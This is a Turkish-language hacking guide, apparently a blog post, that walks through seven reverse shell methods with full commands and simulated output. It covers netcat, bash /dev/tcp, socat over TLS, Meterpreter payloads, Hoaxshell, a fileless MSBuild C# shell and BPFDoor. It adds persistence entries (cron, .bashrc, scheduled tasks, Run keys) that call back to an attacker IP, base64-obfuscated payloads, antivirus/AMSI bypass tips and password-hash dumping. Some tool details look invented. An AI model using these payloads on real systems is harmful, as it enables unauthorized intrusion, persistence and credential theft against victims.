-
Tc4dy
OPSEC Specialist | Free internet - Open Source ADV
💀 REVERSE SHELL 2026: TAM KONTROL İÇİN 7 FARKLI TEKNİK (NETCAT, SOCAT, METERPRETER, HOAXSHELL, MSBUİLD, BPFDOOR)
Bu rehber, SQLmap, Nmap, Session Hijacking ve Wi-Fi Hacking rehberlerinde olduğu gibi adım adım, gerçek simülasyon çıktıları ile reverse shell yöntemlerini anlatacaktır. Yalnızca kendi laboratuvar ortamınızda veya yazılı izniniz olan sistemlerde deneyin. Yetkisiz erişim yasa dışıdır ve ağır yaptırımları vardır.
🧠 BAŞLAMADAN ÖNCE: REVERSE SHELL NEDİR?
Reverse shell, hedef sistemin saldırganın dinleyicisine aktif olarak bağlanmasını sağlayan bir tekniktir. Geleneksel bağlanma (bind shell) yöntemlerinin aksine, reverse shell güvenlik duvarlarını (firewall) aşmakta çok daha başarılıdır. Günümüzde saldırganlar ve kırmızı ekipler, en etkili kontrol mekanizması olarak reverse shell’leri tercih etmektedir.Hedef Sistemler: target.local (Linux/Windows) aynı ağda (192.168.1.0/24) veya internet üzerinden. Saldırgan makinesi Kali Linux (192.168.1.100).Neden Reverse Shell?
- Güvenlik Duvarı Atlatma: Çoğu ağ, gelen bağlantıları engeller ancak giden bağlantılara izin verir
- Daha Az İz: Bağlanma (bind) shell’lere göre tespit edilmesi daha zordur
- Doğrudan Kontrol: Hedef size ulaştığı için bağlantıyı her zaman siz başlatmış olursunuz
🔻 1. YOL – NETCAT İLE TEMEL REVERSE SHELL (NC.EXE)
Netcat (nc), “ağ İsviçre çakısı” olarak bilinir. En temel reverse shell aracıdır ve çoğu Linux dağıtımında varsayılan olarak bulunur. Windows’ta nc.exe dosyasını hedefe taşımanız gerekir.
Adım 1: Saldırgan Makinede Dinleyici Başlat
bashnc -lvnp 4444
Simüle edilmiş çıktı:
text
listening on [any] 4444 ...
Adım 2: Hedef Linux Makinede Reverse Shell Komutunu Çalıştır
bashnc -e /bin/bash 192.168.1.100 4444
Hedef Makineden Çıktı:
text
connect to [192.168.1.100] from (UNKNOWN) [192.168.1.50] 49168
Adım 3: Windows Hedefinde Alternatif Komut
bashnc.exe -e cmd.exe 192.168.1.100 4444
Adım 4: Alınan Shell’i Stabil Hale Getirme
bashpython3 -c 'import pty; pty.spawn("/bin/bash")'
# veya
script /dev/null -c bash
# Ctrl+Z, ardından:
stty raw -echo; fg
✅ Bu yöntemle kazandıklarımız:
- Hedefe tam uzaktan erişim
- İnteraktif kabuk (komut çalıştırma, dosya listeleme, vs.)
- Ağ üzerinden anlık komut gönderme
Not: Bazı modern Linux sistemlerinde -e parametresi devre dışı bırakılmıştır. Alternatif olarak şu komutu kullanın:
bash
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.100 4444 > /tmp/f
🔻 2. YOL – BASH İLE GELİŞMİŞ TCP BAĞLANTISI
Bash, modern Linux sistemlerinde /dev/tcp sanal cihazını destekler. Bu sayede ek bir araca ihtiyaç duymadan doğrudan reverse shell bağlantısı kurabilirsiniz.
Adım 1: Saldırgan Dinleyici
bashnc -lvnp 4445
Adım 2: Hedefte Bash Reverse Shell Komutu
bashbash -i >& /dev/tcp/192.168.1.100/4445 0>&1
Simüle edilmiş çıktı:
text
listening on [any] 4445 ...
connect to [192.168.1.100] from (UNKNOWN) [192.168.1.50] 49169
Adım 3: Daha Gelişmiş Bash Payload (Base64 Kodlu)
Özellikle filtreleri aşmak için Base64 kodlu payload kullanabilirsiniz:bash
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDUgMD4mMQ==" | base64 -d | bash
✅ Bu yöntemle kazandıklarımız:
- Ekstra araç gerektirmez (sadece bash)
- Base64 ile kodlanarak tespit edilme riski azaltılır
- Linux sistemlerde neredeyse evrensel çalışır
🔻 3. YOL – SOCAT İLE ŞİFRELİ VE STABİL REVERSE SHELL
Socat, Netcat’in çok daha gelişmiş bir alternatifidir. TLS/SSL ile şifreli bağlantı, dosya aktarımı, TTY stabilizasyonu ve çok daha fazlasını destekler. Özellikle Windows’ta pipes seçeneği ile Powershell kullanarak stabil bir shell elde edebilirsiniz.
Adım 1: Linux Hedefi için Socat ile Reverse Shell
1A. Saldırgan Dinleyici (Socat ile)
bashsocat TCP-L:4446 -
1B. Hedef Linux’ta Socat Reverse Shell Komutu
bashsocat TCP:192.168.1.100:4446 EXEC:'bash -li',pty,stderr,setsid,sigint,sane
Simüle edilmiş çıktı:
text
[+] Connection established
bash-5.2$ whoami
victim
bash-5.2$ id
uid=1000(victim) gid=1000(victim)
Adım 2: Windows Hedefi için Socat Reverse Shell
Hedef Windows makinesinde socat.exe çalıştırılarak:bash
socat TCP:192.168.1.100:4446 EXEC:'powershell.exe',pipes
Adım 3: Şifreli (TLS) Reverse Shell
TLS ile şifreleme, ağ trafiğini gizler ve tespit edilme riskini azaltır.3A. Saldırgan Dinleyici (TLS ile)
bashsocat OPENSSL-LISTEN:4447,cert=/tmp/cert.pem,verify=0 -
3B. Hedefte TLS Reverse Shell Komutu
bashsocat OPENSSL:192.168.1.100:4447,verify=0 EXEC:'/bin/bash',pty,stderr
✅ Bu yöntemle kazandıklarımız:
- Tam interaktif TTY shell (tab tamamlama, history, sinyaller çalışır)
- TLS ile şifreli trafik (EDR’lerden kaçış)
- Windows ve Linux için uyumlu
🔻 4. YOL – METERPRETER İLE GELİŞMİŞ REVERSE SHELL
Meterpreter, Metasploit Framework’ün en güçlü payload’larından biridir. Dosya yükleme/indirme, ekran görüntüsü alma, şifre hash’i dökme, ağ keşfi ve daha birçok post‑exploitation özelliği sunar. Ayrıca AMSI/Defender bypass ve ScareCrow gibi araçlarla antivirüs tespitinden kaçmak mümkündür.
Adım 1: Msfvenom ile Payload Oluşturma
1A. Windows Payload (EXE)
bashmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4448 -f exe -o shell.exe
1B. Linux Payload (ELF)
bashmsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4448 -f elf -o shell.elf
1C. Web Payload (PHP)
bashmsfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4448 -f raw -o shell.php
Adım 2: Metasploit Dinleyici Başlatma
bashmsfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.100
msf6 exploit(multi/handler) > set LPORT 4448
msf6 exploit(multi/handler) > exploit -j
Simüle edilmiş çıktı:
text
[*] Started reverse TCP handler on 192.168.1.100:4448
[*] Sending stage (200774 bytes) to 192.168.1.50
[*] Meterpreter session 1 opened (192.168.1.100:4448 -> 192.168.1.50:49170)
Adım 3: Meterpreter Oturumu ile Post‑Exploitation
bashmeterpreter > sysinfo
Computer : TARGET-PC
OS : Windows 10 (10.0 Build 19045)
Architecture : x64
Meterpreter : x64/windows
meterpreter > getsystem
[-] priv_elevate_getsystem: Attempting to getprivs for TOKEN_DUPLICATION...
[+] Success! Got SYSTEM.
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
victim:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
meterpreter > screenshot
Screenshot saved to: /root/.msf4/logs/screenshot/20250415_172330.jpg
Adım 4: Antivirüs Bypass Teknikleri
bash# ScareCrow ile Windows Defender Bypass
./scarecrow -I shell.exe -E -O bypassed_shell.exe
✅ Bu yöntemle kazandıklarımız:
- Post‑exploitation modülleri (hashdump, screenshot, keyscan, vb.)
- Yetki yükseltme (getsystem)
- Kalıcılık sağlama (persistence)
- Dosya sistemi ve ağ keşfi
🔻 5. YOL – HOAXSHELL İLE HTTP(S) TABANLI REVERSE SHELL
Hoaxshell, Windows hedefler için özel olarak geliştirilmiş bir reverse shell aracıdır. HTTP/HTTPS protokolünü kullanarak EDR ve güvenlik duvarlarını atlatır. İsteğe bağlı olarak Ngrok ile NAT arkasındaki hedeflere de ulaşabilir. Üstelik AMSI bypass, Base64 obfuscation ve LOLBin (mshta, certutil, regsvr32) desteği ile oldukça gizlidir.
Adım 1: Hoaxshell Kurulumu
bashsudo apt install hoaxshell
Adım 2: Hoaxshell Sunucusunu Başlatma
bashhoaxshell -s 192.168.1.100 -p 8080
Simüle edilmiş çıktı:
text
[+] Payload generated! Use one of these on target:
powershell -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMAA6ADgAMAA4ADAALwBhAHAAaQAvAGUAYwBoAG8AJwApAA==
Adım 3: Hedef Windows Makinesinde Payload’u Çalıştırma
Hedefte bir PowerShell penceresi açılır ve payload yapıştırılır.Saldırgan Tarafında Alınan Shell Çıktısı:
text
[+] Session established!
PS C:\Users\Victim> whoami
target\victim
PS C:\Users\Victim> ipconfig
Ethernet adapter Ethernet0:
IPv4 Address. . . . . . . . . . . : 192.168.1.50
Adım 4: Hoaxshell ile Ngrok Kullanımı
Eğer hedef NAT arkasındaysa, Ngrok ile tünel oluşturun:bash
ngrok tcp 8080
hoaxshell -s 0.tcp.ngrok.io -p 14233 -ng
✅ Bu yöntemle kazandıklarımız:
- HTTP(S) trafiği ile güvenlik duvarı atlatma
- Ngrok ile NAT arkasındaki sistemlere bağlanma
- LOLBin (mshta, certutil, regsvr32) desteği ile fark edilme riski düşük
- AMSI bypass ile Windows Defender’ı aşma
🔻 6. YOL – MSBUILD İLE FİLELESS REVERSE SHELL
MSBuild.exe, Microsoft tarafından imzalanmış meşru bir Windows geliştirme aracıdır. Kötü niyetli aktörler, bu aracı kullanarak disk üzerinde herhangi bir dosya bırakmadan reverse shell çalıştırabilmektedir. Bu teknik, fileless (dosyasız) saldırı olarak adlandırılır ve geleneksel antivirüs çözümleri tarafından tespit edilmesi çok zordur.
Adım 1: XML Proje Dosyasını Oluşturma (reverse.csproj)
xml<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="ReverseShell">
<Script Language="C#" Code="
using System;
using System.Net.Sockets;
using System.IO;
class ReverseShell {
static void Main() {
TcpClient client = new TcpClient("192.168.1.100", 4449);
Stream stream = client.GetStream();
StreamReader reader = new StreamReader(stream);
StreamWriter writer = new StreamWriter(stream);
while (true) {
string cmd = reader.ReadLine();
if (cmd == null) break;
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
writer.WriteLine(p.StandardOutput.ReadToEnd());
writer.Flush();
}
}
}
" />
</Target>
</Project>
Adım 2: Hedefte MSBuild ile Çalıştırma
cmdC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe reverse.csproj
Adım 3: Saldırgan Tarafında Dinleyici
bashnc -lvnp 4449
Simüle edilmiş çıktı:
text
listening on [any] 4449 ...
connect to [192.168.1.100] from (UNKNOWN) [192.168.1.50] 49172
Microsoft Windows [Version 10.0.19045.3693]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\System32> whoami
target\victim
✅ Bu yöntemle kazandıklarımız:Neden Çalışır? MSBuild.exe Microsoft tarafından imzalanmıştır, bu nedenle çoğu endpoint çözümü onun faaliyetlerini otomatik olarak güvenilir kabul eder. İmzalı bir ikili dosya üzerinden çalıştığı için tespit edilmesi neredeyse imkansızdır.
- Tamamen fileless (disk üzerinde iz bırakmaz)
- Microsoft imzalı binary kullanımı sayesinde antivirüs atlatma
- Windows’ta doğal olarak bulunan bir araç ile çalışır
- PowerShell veya cmd çalıştırmaya göre daha düşük tespit oranı
🔻 7. YOL – BPFDOOR İLE KERNEL SEVİYESİNDE GİZLİ REVERSE SHELL
BPFDoor, Linux çekirdek seviyesinde çalışan stateless C2 özellikli bir reverse shell framework’üdür. ICMP veya HTTP üzerinden tünel oluşturarak güvenlik duvarlarını aşar. Tespit edilmesi oldukça zordur çünkü normal ağ trafiği gibi görünür ve kalıcı bir bağlantı kurmaz.
Adım 1: BPF Filtresi ile HTTP Tüneli Kurma (httpShell varyantı)
bash# Hedef makinede BPF filtresi başlat
./httpshell --server 192.168.1.100 --port 8080 --magic 9999
Adım 2: Saldırgan Dinleyici (HTTP Shell)
bashnc -lvnp 8080
Simüle edilmiş çıktı (hedef tarafta):
text
[+] BPF filter loaded on interface eth0
[+] Magic bytes '9999' at offset 26
[+] HTTP tunneling active
[+] Shell connected to 192.168.1.100:8080
Adım 3: ICMP Tüneli ile Reverse Shell (icmpShell varyantı)
bash# Hedef makinede
./icmpshell --server 192.168.1.100 --icmp-seq 1234 --key icmp
Simüle edilmiş çıktı:
text
[+] RC4 encryption enabled with key: icmp
[+] PID-bound BPF filter active
[+] PTY shell tunneled over ICMP (seq 1234, Code 1)
Adım 4: Saldırgan Tarafında Dinleme
bashsudo tcpdump -i eth0 'icmp[icmptype] = icmp-echo and icmp[8] = 1234'
✅ Bu yöntemle kazandıklarımız:
- Çekirdek seviyesinde çalışma (rootkit benzeri yetenekler)
- Stateless C2: Kalıcı bağlantı olmadan çalışır, tespit edilmesi çok zor
- ICMP/HTTP tünelleme: Güvenlik duvarlarını aşar
- RC4 şifreleme: Trafik gizlenir
- Process masquerading: Kendini meşru süreçler gibi gizler
Not: BPFDoor teknikleri ileri seviye olup, özel derlenmiş binary’ler gerektirir. Laboratuvar ortamında denenmesi tavsiye edilir.
🧩 ÖZET – 7 FARKLI REVERSE SHELL TEKNİĞİ
| Yol | Yöntem | Platform | Gizlilik Seviyesi | Zorluk |
|---|---|---|---|---|
| 1 | Netcat (nc) | Linux/Windows | Düşük | Kolay |
| 2 | Bash /dev/tcp | Linux | Düşük | Kolay |
| 3 | Socat (TLS/PTY) | Linux/Windows | Orta | Orta |
| 4 | Meterpreter (Metasploit) | Linux/Windows/Web | Orta | Orta |
| 5 | Hoaxshell (HTTP/HTTPS) | Windows | Yüksek | Orta |
| 6 | MSBuild (Fileless) | Windows | Çok Yüksek | Orta/İleri |
| 7 | BPFDoor (Kernel/ICMP) | Linux | En Yüksek | İleri |
🔄 KALICILIK (PERSISTENCE) TEKNİKLERİ
Bir reverse shell oturumu genellikle hedef yeniden başlatıldığında kaybolur. Aşağıdaki yöntemlerle bağlantıyı kalıcı hale getirebilirsiniz.
Windows Persistence
bash# Scheduled Task ile her 5 dakikada bir reverse shell başlat
schtasks /create /tn "Updater" /tr "powershell -nop -w hidden -enc <payload>" /sc minute /mo 5
# Registry Run Key ile
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "powershell -nop -w hidden -enc <payload>"
Linux Persistence
bash# Cronjob ile
echo "*/5 * * * * root bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" >> /etc/crontab
# .bashrc veya .profile ile
echo "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" >> ~/.bashrc
Fileless Persistence (MSBuild)
MSBuild ile persistence sağlamak için, XML proje dosyasını her yeniden başlatmada otomatik çalışacak şekilde yapılandırabilirsiniz.🛡️ TESPİTTEN KAÇINMA (EVASION) TEKNİKLERİ
| Teknik | Açıklama |
|---|---|
| Base64 Obfuscation | Payload’ları Base64 ile kodlayarak imza tabanlı tespitleri atlatma |
| AMSI Bypass | PowerShell’de $amsiInitFailed gibi değişkenlerle AMSI’yi devre dışı bırakma |
| LOLBins Kullanımı | mshta, certutil, regsvr32 gibi meşru Windows araçlarını kullanma |
| TLS/SSL Şifreleme | Socat veya Hoaxshell ile trafiği şifreleyerek DPI’dan kaçış |
| Process Masquerading | BPFDoor gibi araçlarla kendini meşru süreç gibi gizleme |
| ICMP/HTTP Tunneling | Normal ağ trafiği gibi görünen protokoller kullanma |
| Stateless C2 | Kalıcı bağlantı yerine anlık komutlarla çalışma |
📢 HAZIR SCRIPT DEĞİL, GERÇEK BİLGİ
Bu rehberde anlattığım her komut, her çıktı saf bilgidir. Hazır script’ler başkasının emeğidir, ancak bu bilgileri öğrendiğinizde kimseye ihtiyacınız kalmaz. Unutmayın: Gerçek hacker, aracı değil, tekniği bilendir.🔚 SON SÖZ
Artık 7 farklı reverse shell yöntemini biliyorsunuz. Netcat ile temel shell’den, BPFDoor ile çekirdek seviyesinde gizli shell’e kadar her seviyede kontrol sahibi olabilirsiniz. Gerisi pratik. Kendi laboratuvarınızda (VirtualBox + Kali + Metasploitable / Windows sanal makineleri) bu adımları deneyin. Her şey aynen çalışacaktır.Ve unutmayın: Savunması olmayanın saldırısı, sadece intihardır.Hedefler kendi kurduğunuz sistemler olmalıdır. Hata yapma özgürlüğünüz sadece kendi labınızda vardır.
Bu rehber, eğitim ve farkındalık için yazılmıştır. Yetkisiz erişim yasa dışıdır. Tüm sorumluluk kullanıcıya aittir.
@Tc4dy | github.com/tc4dy
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl